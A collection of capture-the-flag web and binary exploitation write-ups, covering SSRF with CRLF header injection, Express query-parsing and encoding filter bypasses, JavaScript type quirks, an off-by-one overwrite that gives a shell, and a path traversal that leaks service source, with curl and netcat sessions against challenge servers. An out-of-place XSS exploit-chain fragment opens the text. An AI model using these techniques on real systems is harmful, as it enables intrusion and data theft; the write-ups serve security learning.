Before we can craft the whole exploit chain, we need to have a attacker domain hosting the XSS payload served in a JavaScript file.
Then, use Flexible Redirector to generate a shorter and nicer URL for the Mock Endpoint URL to be used in our exploit.
In the response header serving the XSS payload, we also need to add Access-Control-Allow-Origin: * to relax Cross-Origin Resource Sharing (CORS) since the JavaScript resource file is loaded via a cross-origin request.
Note: One thing I did not mention earlier was that because the iframe sandbox policy did not have allow-modals attribute, we cannot call alert(origin) directly in the iframe. We can simply call top.alert(origin) or parent.alert(origin) to trigger alert on the parent frame to complete the challenge.
Chaining Everything Together
Now, it’s finally time to chain everything together and exploit this XSS!
Here are my solutions to Gynvael Coldwind (@gynvael)’s web security challenges which I thoroughly enjoyed solving!
These are specially-crafted whitebox challenges designed to test and impart certain skills.
A total of 7 independent challenges were released.
Level 0 is a Flask application, whereas Levels 1 through 6 are based on Express.js.
#!/usr/bin/python3
fromflaskimportFlask,request,Response,render_template_stringfromurllib.parseimporturlparseimportsocketimportosapp=Flask(__name__)FLAG=os.environ.get('FLAG',"???")withopen("task.py")asf:SOURCE=f.read()@app.route('/secret')defsecret():ifrequest.remote_addr!="127.0.0.1":return"Access denied!"ifrequest.headers.get("X-Secret","")!="YEAH":return"Nope."returnf"GOOD WORK! Flag is {FLAG}"@app.route('/')defindex():returnrender_template_string("""
<html>
<body>
<h1>URL proxy with language preference!</h1>
<form action="/fetch" method="POST">
<p>URL: <input name="url" value="http://gynvael.coldwind.pl/"></p>
<p>Language code: <input name="lang" value="en-US"></p>
<p><input type="submit"></p>
</form>
<pre>
Task source:
</pre>
</body>
</html>
""",src=SOURCE)@app.route('/fetch',methods=["POST"])deffetch():url=request.form.get("url","")lang=request.form.get("lang","en-US")ifnoturl:return"URL must be provided"data=fetch_url(url,lang)ifdataisNone:return"Failed."returnResponse(data,mimetype="text/plain;charset=utf-8")deffetch_url(url,lang):o=urlparse(url)req='\r\n'.join([f"GET {o.path} HTTP/1.1",f"Host: {o.netloc}",f"Connection: close",f"Accept-Language: {lang}","",""])res=o.netloc.split(':')iflen(res)==1:host=res[0]port=80else:host=res[0]port=int(res[1])data=b""withsocket.socket(socket.AF_INET,socket.SOCK_STREAM)ass:s.connect((host,port))s.sendall(req.encode('utf-8'))whileTrue:data_part=s.recv(1024)ifnotdata_part:breakdata+=data_partreturndataif__name__=="__main__":app.run(debug=False,host="0.0.0.0")
Analysis
Looking at the source code provided, we see that there is a /secret route that will give the flag if request.remote_addr == "127.0.0.1" and if there is a HTTP header X-Secret: YEAH.
If there are reverse proxies that relay HTTP requests to the Flask application (e.g. Client <-> Reverse Proxy <-> Flask), then request.remote_addr may not be set correctly to the remote client’s IP address. So, let’s do a quick check to test this out:
Clearly, that didn’t work – the request.remote_addr is set correctly on the server end before it reaches the Flask app.
Let’s examine the other functionalities of the application. There is a suspicious /fetch endpoint provided, which invokes the fetch_url(url, lang) function:
Here, we can see that the URL is being parsed, and the hierarchical path (o.path) and network location part (o.netloc) are being extracted used alongside the lang parameter to create a raw HTTP request to the host and port specified in the network location part.
Clearly, there is a server-side request forgery (SSRF) vulnerability, since we can establish a raw socket connection to any host and port, and we have some control over the data to be sent!
Let’s check that we are able to reach the /secret endpoint with this SSRF vulnerability and pass the request.remote_addr == "127.0.0.1" check:
Great! Since we are no longer getting the Access denied! error message, we have successfully passed the check.
The last piece of the puzzle is to figure out how to set the X-Secret: YEAH HTTP header. Remember the lang parameter? Turns out, it is also not sanitized as well, so we can simply inject \r\n to terminate the Accept-Language header and inject arbitrary HTTP headers (or even requests)!
Solution
$ curl 'http://challenges.gynvael.stream:5000/fetch'-d'url=http://127.0.0.1:5000/secret'-d'lang=%0d%0aX-Secret: YEAH'
HTTP/1.0 200 OK
Content-Type: text/html;charset=utf-8
Content-Length: 42
Server: Werkzeug/1.0.1 Python/3.6.9
Date: Fri, 3 May 2020 09:01:17 GMT
GOOD WORK! Flag is CTF{ThesePeskyNewLines}
constexpress=require('express')constfs=require('fs')constPORT=5001constFLAG=process.env.FLAG||"???"constSOURCE=fs.readFileSync('app.js')constapp=express()app.get('/',(req,res)=>{res.statusCode=200res.setHeader('Content-Type','text/plain;charset=utf-8')res.write("Level 1\n\n")if(!('secret'inreq.query)){res.end(SOURCE)return}if(req.query.secret.length>5){res.end("I don't allow it.")return}if(req.query.secret!="GIVEmeTHEflagNOW"){res.end("Wrong secret.")return}res.end(FLAG)})app.listen(PORT,()=>{console.log(`Example app listening at port ${PORT}`)})
Analysis
In Express, req.query.* accepts and parses query string parameters into either strings, arrays or objects.
If an array is supplied, Array.toString() will return a string representation of the array values separated by commas.
Furthermore, it also has a length property defining the size of the array:
constexpress=require('express')constfs=require('fs')constPORT=5002constFLAG=process.env.FLAG||"???"constSOURCE=fs.readFileSync('app.js')constapp=express()app.get('/',(req,res)=>{res.statusCode=200res.setHeader('Content-Type','text/plain;charset=utf-8')res.write("Level 2\n\n")if(!('X'inreq.query)){res.end(SOURCE)return}if(req.query.X.length>800){consts=JSON.stringify(req.query.X)if(s.length>100){res.end("Go away.")return}try{constk='<'+req.query.X+'>'res.end("Close, but no cigar.")}catch{res.end(FLAG)}}else{res.end("No way.")return}})app.listen(PORT,()=>{console.log(`Challenge listening at port ${PORT}`)})
Analysis
Sometimes, it’s easier to work backwards. Let’s look at where the printing of the flag is at:
try{constk='<'+req.query.X+'>'res.end("Close, but no cigar.")}catch{res.end(FLAG)}
Here, we can see that the flag is printed only when req.query.X throws an exception.
From above, we can see that type conversion may be performed on req.query.X to convert it to a string for concatenation.
This means that the toString() method of req.query.X may be invoked.
Recall that in Express, req.query.* accepts and parses query string parameters into either strings, arrays or objects.
In JavaScript, it is possible to override the default toString() inherited from the object’s prototype for arrays and objects:
Note: This is simply overriding properties (including methods) inherited from the object’s prototype. Do not confuse the above with prototype pollution!
But, if toString is not a function, then we get a TypeError:
>obj.toString="not a function">""+objUncaughtTypeError:Cannotconvertobjecttoprimitivevalue>arr.toString="not a function too">""+arrUncaughtTypeError:Cannotconvertobjecttoprimitivevalue
So, we can define our custom toString property using X[toString]= (which isn’t a function) to trigger the exception and print the flag.
In fact, this issue is also raised in the Express’ documentation, and it is the developers’ responsibility to validate before trusting user-controlled input:
“As req.query’s shape is based on user-controlled input, all properties and values in this object are untrusted and should be validated before trusting. For example, req.query.foo.toString() may fail in multiple ways, for example foo may not be there or may not be a string, and toString may not be a function and instead a string or other user-input.“
We can also use the same method to bypass the preceding req.query.X.length > 800 check by setting X[length]=1337 too.
// IMPORTANT NOTE:// The secret flag you need to find is in the path name of this JavaScript file.// So yes, to solve the task, you just need to find out what's the path name of// this node.js/express script on the filesystem and that's it.constexpress=require('express')constfs=require('fs')constpath=require('path')constPORT=5003constFLAG=process.env.FLAG||"???"constSOURCE=fs.readFileSync(path.basename(__filename))constapp=express()app.get('/',(req,res)=>{res.statusCode=200res.setHeader('Content-Type','text/plain;charset=utf-8')res.write("Level 3\n\n")res.end(SOURCE)})app.get('/truecolors/:color',(req,res)=>{res.statusCode=200res.setHeader('Content-Type','text/plain;charset=utf-8')constcolor=('color'inreq.params)?req.params.color:'???'if(color==='red'||color==='green'||color==='blue'){res.end('Yes! A true color!')}else{res.end('Hmm? No.')}})app.listen(PORT,()=>{console.log(`Challenge listening at port ${PORT}`)})
Analysis
Since the goal is to leak the filepath of the JavaScript file, focus is placed on finding where exceptions are being returned in the response.
After doing a quick search on GitHub for throw statements, we see that /lib/router/layer.js throws an exception if the parameter value cannot be decoded successfully using decodeURIComponent().
Solution
Supply an invalid path parameter (e.g. %) to cause the stack trace to be shown, thereby leaking the filepath of the script and hence obtaining the flag:
constexpress=require('express')constfs=require('fs')constpath=require('path')constPORT=5004constFLAG=process.env.FLAG||"???"constSOURCE=fs.readFileSync(path.basename(__filename))constapp=express()app.use(express.text({verify:(req,res,body)=>{constmagic=Buffer.from('ShowMeTheFlag')if(body.includes(magic)){thrownewError("Go away.")}}}))app.post('/flag',(req,res)=>{res.statusCode=200res.setHeader('Content-Type','text/plain;charset=utf-8')if((typeofreq.body)!=='string'){res.end("What?")return}if(req.body.includes('ShowMeTheFlag')){res.end(FLAG)return}res.end("Say the magic phrase!")})app.get('/',(req,res)=>{res.statusCode=200res.setHeader('Content-Type','text/plain;charset=utf-8')res.write("Level 4\n\n")res.end(SOURCE)})app.listen(PORT,()=>{console.log(`Challenge listening at port ${PORT}`)})
Analysis
Looking at the verify function, we see that there is a body.includes(magic) check that we need to satisfy, and req.body.includes('ShowMeTheFlag') must return true in the /flag endpoint POST handler.
According to Express’ documentation for express.text(), we see that the verify option is invoked as verify(req, res, buf, encoding), where buf is a Buffer of the raw request body and encoding is the encoding of the request.
This means that the body parameter in the verify function has yet to be decoded from the encoding type specified by the client.
Notice that the body.includes(magic) in the verify function implicitly assumes that the request body contents supplied is in ASCII/UTF-8, as it fails to decode and convert the raw request to a common encoding before performing the check.
Solution
The solution is simple – use a different charset that uses multibyte characters, e.g. utf-16, utf-16le, utf-16be, and encode the constant string ShowMeTheFlag in the charset specified:
consthttp=require('http')constexpress=require('express')constfs=require('fs')constpath=require('path')constPORT=5005constFLAG=process.env.FLAG||"???"constSOURCE=fs.readFileSync(path.basename(__filename))constapp=express()app.use(express.urlencoded({extended:false}))app.post('/flag',(req,res)=>{res.statusCode=200res.setHeader('Content-Type','text/plain;charset=utf-8')if(req.body.secret!=='ShowMeTheFlag'){res.end("Say the magic phrase!")return}if(req.youAreBanned){res.end("How about no.")return}res.end(FLAG)})app.get('/',(req,res)=>{res.statusCode=200res.setHeader('Content-Type','text/plain;charset=utf-8')res.write("Level 5\n\n")res.end(SOURCE)})constproxy=function(req,res){req.youAreBanned=falseletbody=''req.prependListener('data',(data)=>{body+=data}).prependListener('end',()=>{consto=newURLSearchParams(body)req.youAreBanned=o.toString().includes("ShowMeTheFlag")})returnapp(req,res)}constserver=http.createServer(proxy)server.listen(PORT,()=>{console.log(`Challenge listening at port ${PORT}`)})
Analysis
We can observe that the code above is similar to that of Level 4, with some changes.
The first change is the use of app.use(express.urlencoded({extended: false})) instead of app.use(express.text(...).
The second change is the use of http.createServer(proxy) to intercept the raw request body data before passing to Express instead of using the verify option.
Similar to Level 4, req.youAreBanned = o.toString().includes("ShowMeTheFlag") assumes the charset encoding of the request body when performing the check.
This is because express.urlencoded (urlencoded in body-parser) asserts if the charset encoding for Content-Type: application/x-www-form-urlencoded is utf-8.
So, it is not possible to specify any other charset encoding.
Solution
Speaking of encoding, there’s one more thing we have yet to try – Content-Encoding.
Recall that the raw request body data is being not decoded before being checked in proxy(). This means that we can encode the contents, e.g. using gzip compression, and specify Content-Encoding: gzip header, and the gzip-compressed contents will be used in the proxy() function (which passes the first check).
Then, the body will decoded by Express before passing to the /flag endpoint POST handler, which correctly sets secret=ShowMeTheFlag:
consthttp=require('http')constexpress=require('express')constfs=require('fs')constpath=require('path')constPORT=5006constFLAG=process.env.FLAG||"???"constSOURCE=fs.readFileSync(path.basename(__filename))constapp=express()constcheckSecret=(secret)=>{return[secret.split("").reverse().join(""),"xor",secret.split("").join("-")].join('+')}app.get('/flag',(req,res)=>{res.statusCode=200res.setHeader('Content-Type','text/plain;charset=utf-8')if(!req.query.secret1||!req.query.secret2){res.end("You are not even trying.")return}if(`<${checkSecret(req.query.secret1)}>`===req.query.secret2){res.end(FLAG)return}res.end("Lul no.")})app.get('/',(req,res)=>{res.statusCode=200res.setHeader('Content-Type','text/plain;charset=utf-8')res.write("Level 6\n\n")res.end(SOURCE)})app.listen(PORT,()=>{console.log(`Example app listening at port ${PORT}`)})
Analysis
Notice that checkSecret has a return keyword on line 13, but the value that was supposed to be returned is on the following lines.
This is a common mistake made when coding in JavaScript. In JavaScript, automatic semicolon insertion (ASI) is performed on some statements, such as return, that must be terminated with semicolons.
As such, a semicolon is automatically inserted after the return keyword and before the newline as such:
constcheckSecret=(secret)=>{return;// ASI performed here; below lines are ignored[secret.split("").reverse().join(""),"xor",secret.split("").join("-")].join('+')}
This means that effectively, undefined is being returned by the checkSecret arrow function expression.
Solution
To pass the checks, we simply set secret1 query string parameter to a non-empty value, and secret2 to <undefined>:
I did not participate in this competition, but I was asked by the organisers to take a look at the challenges.
Here are my analysis and solutions for 5 web challenges which I thought were rather interesting.
Enjoy!
QuirkyScript 1
Problem
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
varflag=require("./flag.js");varexpress=require('express')varapp=express()app.get('/flag',function(req,res){if(req.query.first){if(req.query.first.length==8&&req.query.first==",,,,,,,"){res.send(flag.flag);return;}}res.send("Try to solve this.");});app.listen(31337)
Analysis
Observe that in the source code provided, loose equality comparison (==) is used instead of strict equality comparison (===).
Loose equality compares two values for equality after converting both operands to a common type. When in doubt, refer to the documentation on equality comparisons and sameness!
Let’s look at the comparison req.query.first == ",,,,,,,":
If req.query.first is a String – no type conversion is performed as both operands are of a common type.
If req.query.first is an Object – type conversion is performed on req.query.first to String by invoking req.query.first.toString() before comparing both operands.
In Express, req.query is an object containing the parsed query string parameters – so req.query.first can either be a string (?first=) or an array (?first[]=).
In JavaScript, an arrray is a list-like Object. Furthermore, Array.toString() returns a string representation of the array values, concatenating each array element separated by commas, as shown below:
>['a'].toString()a>['a','b'].toString()a,b
Solution
As such, we can set req.query.first as an array with length 8 containing only empty strings to make the string representation return ,,,,,,, to satisfy both conditions:
varflag=require("./flag.js");varexpress=require('express')varapp=express()app.get('/flag',function(req,res){if(req.query.second){if(req.query.second!="1"&&req.query.second.length==10&&req.query.second==true){res.send(flag.flag);return;}}res.send("Try to solve this.");});app.listen(31337)
Analysis
Similar to QuirkyScript 1, req.query.second can either be a string or an array. Observe that loose equality comparison is done in req.query.second == true, so if req.query.second is a string, both operands are converted to numbers before comparing both values.
Note: The behavior of the type conversion to number is equivalent to the unary + operator (e.g. +"1"):
>true==+true==1true>"1"==+"1"==1==truetrue
One thing to note about such type conversions is that the parsing of value is performed quite leniently to avoid returning errors for minor issues detected:
>+" 1 "1>+" 00001"1
Solution
Since req.query.second != "1" performs string comparison without type conversions, we can obtain the flag by supplying a truthy value with 10 characters in second query string parameter:
http://ctf.pwn.sg:8082/flag?second=0000000001
Flag:CrossCTF{M4ny_w4ys_t0_mak3_4_numb3r}
QuirkyScript 3
Problem
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
varflag=require("./flag.js");varexpress=require('express')varapp=express()app.get('/flag',function(req,res){if(req.query.third){if(Array.isArray(req.query.third)){third=req.query.third;third_sorted=req.query.third.sort();if(Number.parseInt(third[0])>Number.parseInt(third[1])&&third_sorted[0]==third[0]&&third_sorted[1]==third[1]){res.send(flag.flag);return;}}}res.send("Try to solve this.");});app.listen(31337)
Analysis
Observe that req.query.third.sort() is invoked above, so req.query.third has to be an array since string does not have a sort() prototype method.
The following conditions need to be satisfied to obtain the flag:
Number.parseInt(third[0]) > Number.parseInt(third[1]) – first element must be larger than the second element after converting both elements to numbers
third_sorted[0] == third[0] and third_sorted[1] == third[1] – the elements in third must retain the same order even after being sorted
As pointed out in the documentation, if no custom comparition function is supplied to Array.prototype.sort(), all non-undefined array elements are sorted by (1) converting them to strings and (2) comparing string comparisons in UTF-16 code point order.
Such lexical sorting differs from numeric sorting. For example, 10 comes before “2” when sorting based on their UTF-16 code point:
To obtain the flag, we can set third query string parameter as an array with 10 as first element and 2 as second element:
http://ctf.pwn.sg:8083/flag?third[0]=10&third[]=2
Flag:CrossCTF{th4t_r0ck3t_1s_hug3}
QuirkyScript 4
Problem
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
varflag=require("./flag.js");varexpress=require('express')varapp=express()app.get('/flag',function(req,res){if(req.query.fourth){if(req.query.fourth==1&&req.query.fourth.indexOf("1")==-1){res.send(flag.flag);return;}}res.send("Try to solve this.");});app.listen(31337)
Analysis
If req.query.fourth is a string containing a truthy value, it is not possible to satisfy the req.query.fourth.indexOf("1") == -1 condition.
Let’s look at what we can do if req.query.fourth is an array instead. Type conversion happens on req.query.fourth in req.query.fourth == 1 before comparing the operands:
Since Array.prototype.indexOf(element) returns the index of the first matching element in the array, or -1 if it does not exist, we can satisfy req.query.fourth.indexOf("1") == -1 if the string "1" is not in the array.
Solution 1
One possible solution is to leverage the relaxed parsing of integer values from strings as discussed in QuirkyScript 2:
Visiting http://ctf.pwn.sg:8084/flag?fourth[][]=1gives the flag.
Flag:CrossCTF{1m_g0ing_hungry}
QuirkyScript 5
Problem
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
varflag=require("./flag.js");varexpress=require('express')varapp=express()app.get('/flag',function(req,res){varre=newRegExp('^I_AM_ELEET_HAX0R$','g');if(re.test(req.query.fifth)){if(req.query.fifth===req.query.six&&!re.test(req.query.six)){res.send(flag.flag);}}res.send("Try to solve this.");});app.listen(31337)
Analysis
Referring to the documentation for RegExp.prototype.test(), an interesting behaviour of regular expressions with g (global) flag set is noted:
test() will advance the lastIndex of the regex.
Further calls to test(str) will resume searching str starting from lastIndex.
The lastIndex property will continue to increase each time test() returns true.
Note: As long as test() returns true, lastIndex will not reset—even when testing a different string!
Solution
After the call to re.test(req.query.fifth), re.lastIndex is no longer 0 if req.query.fifth is set to I_AM_ELEET_HAX0R.
By setting req.query.six to I_AM_ELEET_HAX0R, we can make re.test(req.query.six) return false:
/**
* Created for the GryphonCTF 2017 challenges
* By Amos (LFlare) Ng <amosng1@gmail.com>
**/#include<stdio.h>
#include<stdlib.h>
#include<string.h>intmain(intargc){// Create buffercharbuf[32]={0x00};intkey=0x00;// Disable output bufferingsetbuf(stdout,NULL);// Get key?printf("Key? ");scanf("%d",&key);// Create file descriptorintfd=key-0x31337;intlen=read(fd,buf,32);// Check if we have a winnerif(!strcmp("GIMMEDAFLAG\n",buf)){system("/bin/cat flag.txt");exit(0);}// Return sadfacereturn1;}
Analysis
The important section of the code is as follows:
scanf("%d",&key);// user input// Create file descriptorintfd=key-0x31337;// compute file descriptor numberintlen=read(fd,buf,32);// here, we want to read from stdin// Check if we have a winnerif(!strcmp("GIMMEDAFLAG\n",buf)){// string comparison of our input with static stringsystem("/bin/cat flag.txt");// get flag!exit(0);}
We want to ensure that read() reads from standard input (fd = 0) so that the program can receive user input. To do this, we simply set key = 0x31337 and send it over in its decimal representative (not hex representative!).
After that, we send "GIMMEDAFLAG\n" to ensure that !strcmp("GIMMEDAFLAG\n", buf) evaluates to true and end up calling system("/bin/cat flag.txt").
$ python exploit.py
[+] Opening connection to pwn2.chal.gryphonctf.com on port 17346: Done
[+] Receiving all data: Done (33B)[*] Closed connection to pwn2.chal.gryphonctf.com port 17346
GCTF{f1l3_d35cr1p70r5_4r3_n457y}
Flag:GCTF{f1l3_d35cr1p70r5_4r3_n457y}
PseudoShell
Problem
Description:
I managed to hook on to a shady agency’s server, can you help me secure it? nc pwn2.chal.gryphonctf.com 17341
/**
* Created for the GryphonCTF 2017 challenges
* By Amos (LFlare) Ng <amosng1@gmail.com>
**/#include<stdio.h>
#include<stdlib.h>
#include<string.h>intlogin(){// Declare login variablesintaccess=0xff;charpassword[16];// Get passwordputs("Warning: Permanently added 'backend.cia.gov,96.17.215.26' (ECDSA) to the list of known hosts.");printf("root@backend.cia.gov's password: ");// Add one more to fgets for null bytefgets(password,17,stdin);returnaccess;}intmain(){// Disable output bufferingsetbuf(stdout,NULL);// Declare main variablescharinput[8];// Send canned greetingputs("The authenticity of host 'backend.cia.gov (96.17.215.26)' can't be established.");puts("ECDSA key fingerprint is SHA256:1loFo62WjwvamuIcfhqo4O2PNdltJgSJ7fB3GpKLm4o.");printf("Are you sure you want to continue connecting (yes/no)? ");// Add one more to fgets for null bytefgets(input,9,stdin);// Log user inintaccess=login();// Check privilegesif(access>=0xff||access<0){puts("INVALID ACCOUNT ACCESS LEVEL!");}elseif(access<=0x20){puts("SUCCESSFULLY LOGGED IN AS ADMIN!");system("/bin/sh");}else{puts("SUCCESSFULLY LOGGED IN AS USER!");puts("ERROR: YOU HAVE BEEN FIRED!");exit(1);}}
Analysis
There is an obvious off-by-one write vulnerability in both login() and main():
intlogin(){// Declare login variablesintaccess=0xff;charinput[8];...// Add one more to fgets for null bytefgets(input,9,stdin);...}intmain(){...// Declare main variablescharinput[8];...// Add one more to fgets for null bytefgets(input,9,stdin);}
Our goal is to make access <= 0x20 so that we can get shell and read the flag file:
// Log user inintaccess=login();// Check privileges...elseif(access<=0x20){puts("SUCCESSFULLY LOGGED IN AS ADMIN!");system("/bin/sh");}
Notice that in login(), int access = 0xff; is placed directly before char input[8];.
Since the binary uses little-endian, access is stored as \x00\x00\x00\xff in memory.
As such, the off-by-one write causes the last byte of user input to overflow and overwrite the least significant byte of int access.
To get the shell, we can simply send 16 characters to fill the password and any character with decimal value <= 0x20.
$ python exploit.py
[+] Opening connection to pwn2.chal.gryphonctf.com on port 17341: Done
[*] Switching to interactive mode
SUCCESSFULLY LOGGED IN AS ADMIN!
$ ls-al
total 32
drwxr-xr-x 1 root root 4096 Oct 4 13:22 .
drwxr-xr-x 1 root root 4096 Oct 4 13:16 ..
-rw-r--r-- 1 root root 220 Oct 4 13:16 .bash_logout
-rw-r--r-- 1 root root 3771 Oct 4 13:16 .bashrc
-rw-r--r-- 1 root root 655 Oct 4 13:16 .profile
-r--r----- 1 root pseudoshell 30 Sep 30 17:57 flag.txt
-rwxr-sr-x 1 root pseudoshell 7628 Sep 30 17:57 pseudoshell
$ cat flag.txt
GCTF{0ff_by_0n3_r34lly_5uck5}
Flag:GCTF{0ff_by_0n3_r34lly_5uck5}
FileShare
Problem
Description:
I created this service where you can leave files for other people to view!
I have been getting good reviews..what do you think about it? nc pwn1.chal.gryphonctf.com 17342
This is a remote-only challenge.
Analysis
Let’s netcat in to understand more about the service.
$ nc pwn1.chal.gryphonctf.com 17342
`ohmmmmmmmmmmmmmmmmmh:
-NMMhyyyyyyyyyyyyyyNMMMd:
sMMo mMMNMMd:
sMMo mMM-+mMMd:
sMMo mMM/.-sMMMd:
sMMo mMMMMMMMMMMMo
sMMo :////////yMMs
sMMo oMMs
sMMo oMMs
sMMo oMMs
sMMo oMMs
sMMo oMMs
sMMo oMMs
oMMs oMMs
oMMs oMMs
sMMo oMMs
sMMo oMMs
sMMo oMMs
sMMo oMMs
-NMMhyyyyyyyyyyyyyyyyyyyyyyhMMN-`ohmmmmmmmmmmmmmmmmmmmmmmmmho`
YOU ARE ZE NO.58875 USER
WELCOME TO THE GREATEST FILE SHARING SERVICE IN ALL OF ZE WORLD!
a) CREATE FILE
b) VIEW FILE
YOUR INPUT => b
YOU HAVE CHOSEN TO VIEW FILE
PLEASE INPUT KEY! => ABCDE
Traceback (most recent call last):
File "/home/fileshare/FS.py", line 29, in gets
kkkk=base64.b64decode(filename).decode()
File "/usr/lib/python3.5/base64.py", line 88, in b64decode
return binascii.a2b_base64(s)
binascii.Error: Incorrect padding
Wrong key, no such file
GOODBYE!
Interesting! Upon reading an invalid filename (non-Base64 encoded), the stack trace is dumped.
From the stack trace, we can see the filename of the service /home/fileshare/FS.py is being leaked.
Let’s try creating a file and reading it to see if it works as expected:
$ nc pwn1.chal.gryphonctf.com 17342
...
YOUR INPUT => a
YOU HAVE CHOSEN TO MAKE FILE!
PLEASE INPUT NAME!(3-5 CHARAS ONLY)=> AAAAA
PLEASE INPUT MESSAGE => BBBBBBBBBBBBBBBBBBBB
FILES CREATED! HERE IS YOUR KEY WydmaWxlcy9RR1YnLCAnQUFBQUEnXQ==
GOODBYE!
$ nc pwn1.chal.gryphonctf.com 17342
YOUR INPUT => b
YOU HAVE CHOSEN TO VIEW FILE
PLEASE INPUT KEY! =>WydmaWxlcy9RR1YnLCAnQUFBQUEnXQ==
~~~~~~~~~~~~~~~~~~~~~~~~
FILE FROM: AAAAA
FILE CONTENTS:
BBBBBBBBBBBBBBBBBBBB
…and the program works as advertised.
Let’s take a closer look at the Base64 key generated by the server:
This suggests that perhaps it is reading from ./files/QGV. What if we trick the service to read FS.py (the python script for the service) instead?
$ echo"['./FS.py', 'AAAAA']" | base64
WycuL0ZTLnB5JywgJ0FBQUFBJ10K
$ nc pwn1.chal.gryphonctf.com 17342
...
YOUR INPUT => b
YOU HAVE CHOSEN TO VIEW FILE
PLEASE INPUT KEY! => WycuL0ZTLnB5JywgJ0FBQUFBJ10K
~~~~~~~~~~~~~~~~~~~~~~~~
FILE FROM: AAAAA
FILE CONTENTS:
#!/usr/bin/env python3
import base64
import ast
from datetime import datetime
import time
import os
import socket
import threading
import random
import traceback
def check(stri):
k=0
for i in stri:
k=k+ord(i)return k
def filename():
return''.join(random.choice("QWERTYUIOPASDFGHJKLZXCVBNM")for i in range(3))
def create(line,nam,c):
k="/home/fileshare/"name="files/"+filename()f=open(k+name,"w")
print(line,file=f)n=[name,nam]
k=str(n)return base64.b64encode(k.encode()).decode()
def gets(filename,c):
kul="/home/fileshare/"
try:
kkkk=base64.b64decode(filename).decode()l=ast.literal_eval(kkkk)if len(l)==2 and len(l[1])>=3:
c.sendall("~~~~~~~~~~~~~~~~~~~~~~~~\n\nFILE FROM: {}\nFILE CONTENTS: \n\n".format(l[1]).encode())f=open(kul+l[0],"r")jj=f.readlines()for i in jj:
z=i
c.sendall(z.encode())
c.sendall("\n\n~~~~~~~~~~~~~~~~~~~~~~~~\n\n".encode())else:
c.sendall("INVALID KEY!\n".encode())
except Exception as e:
error=traceback.format_exc()
c.sendall(error.encode())z="Wrong key, no such file\n"
c.sendall(z.encode())
def start(c,a,user):
kkk="QQTLBFVLZFCJHABTKQWYYTBLTLNENP"
try:
c.sendall('''
`ohmmmmmmmmmmmmmmmmmh:
-NMMhyyyyyyyyyyyyyyNMMMd:
sMMo mMMNMMd:
sMMo mMM-+mMMd:
sMMo mMM/.-sMMMd:
sMMo mMMMMMMMMMMMo
sMMo :////////yMMs
sMMo oMMs
sMMo oMMs
sMMo oMMs
sMMo oMMs
sMMo oMMs
sMMo oMMs
oMMs oMMs
oMMs oMMs
sMMo oMMs
sMMo oMMs
sMMo oMMs
sMMo oMMs
-NMMhyyyyyyyyyyyyyyyyyyyyyyhMMN-
`ohmmmmmmmmmmmmmmmmmmmmmmmmho`
YOU ARE ZE NO.{} USER
WELCOME TO THE GREATEST FILE SHARING SERVICE IN ALL OF ZE WORLD!
a) CREATE FILE
b) VIEW FILE
YOUR INPUT => '''.format(user).encode())
c.settimeout(2*60)r=c.recv(100).decode().strip()if r=="a":
c.sendall("YOU HAVE CHOSEN TO MAKE FILE!\nPLEASE INPUT NAME!(3-5 CHARAS ONLY) => ".encode())
c.settimeout(60*2)nam=c.recv(135).decode().strip()
c.sendall("PLEASE INPUT MESSAGE => ".encode())lll=c.recv(125).decode().strip()
print(len(nam))
print(len(lll))if len(lll)>130 or (len(nam)<3 or len(nam)>5):
c.sendall("sorry invalid input :(\n".encode())
c.sendall("GOODBYE!\n".encode())
c.close()else:
key=create(lll,nam,c)z="FILES CREATED! HERE IS YOUR KEY "+key
c.sendall(z.encode())
c.sendall("\nGOODBYE!\n".encode())
c.close()elif r=="b":
c.sendall("YOU HAVE CHOSEN TO VIEW FILE\nPLEASE INPUT KEY! => ".encode())
c.settimeout(60*2)lll=c.recv(100).decode().strip()if(len(lll)>33):
c.sendall("KEY TOO LONG, INVALID\nGOODBYE\n".encode())
c.close()else:
gets(lll,c)
c.sendall("GOODBYE!\n".encode())
c.close()elif r==kkk:
f=open("/home/fileshare/flag/thisisalongnameforadirectoryforareasonflag.txt","r")k=f.readline()z="HELLO ADMINISTRATOR!\n~~~WELCOME TO THE ADMIN PORTAL~~~\n a) LIST ALL FILES\n b) PRINT FLAG\nYOUR INPUT => "
c.sendall(z.encode())
c.settimeout(60*2)h=c.recv(3).decode().strip()if h=="a":
k=os.listdir("/home/fileshare/files/")for i in k:
i="- "+i+"\n"
c.sendall(i.encode())
c.sendall("GOODBYE\n".encode())elif h=="b":
c.sendall("PASSWORD PLS ! =>".encode())
c.settimeout(60*2)z=c.recv(10).decode().strip()if int(z)==check("REALADMIN"):
c.sendall("HERES THE FLAG!\n".encode())
c.sendall(k.encode())else:
c.sendall("YOU ARE NOT REAL ADMIN! BYE\n".encode())else:
c.sendall("INVALID!\nGOODBYE!\n".encode());
c.close()else:
c.sendall("invalid input!\n".encode())
c.close()
except Exception as e:
error=traceback.format_exc()
c.sendall(error.encode())
c.close()socket=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
socket.bind(('0.0.0.0',49760))
print(socket)
socket.listen(5)user=0
while True:
c,a=socket.accept()user=user+1
t=threading.Thread(target=start,args=(c,a,user))
t.start()
socket.close()
Wow! That actually worked, and now we have successfully leaked the source code of the service.
Let’s focus on the notable portions of the code:
kkk="QQTLBFVLZFCJHABTKQWYYTBLTLNENP"try:...ifr=="a":...elifr=="b":...lll=c.recv(100).decode().strip()if(len(lll)>33):c.sendall("KEY TOO LONG, INVALID\nGOODBYE\n".encode())c.close()else:gets(lll,c)...elifr==kkk:f=open("/home/fileshare/flag/thisisalongnameforadirectoryforareasonflag.txt","r")...h=c.recv(3).decode().strip()ifh=="a":...elifh=="b":c.sendall("PASSWORD PLS ! =>".encode())c.settimeout(60*2)z=c.recv(10).decode().strip()ifint(z)==check("REALADMIN"):c.sendall("HERES THE FLAG!\n".encode())c.sendall(k.encode())
It seems that there is a hidden menu activated by entering QQTLBFVLZFCJHABTKQWYYTBLTLNENP, followed by b, and finally an input z containing an integer matching the value of check("REALADMIN"). Finally, if all the above checks are successful, the flag is printed using c.sendall(k.encode()).
Solution
First, we compute the integer value returned by check("REALADMIN"):
Now, we can simply trigger the hidden menu and get the flag:
$ nc pwn1.chal.gryphonctf.com 17342
...
YOUR INPUT => QQTLBFVLZFCJHABTKQWYYTBLTLNENP
HELLO ADMINISTRATOR!
~~~WELCOME TO THE ADMIN PORTAL~~~
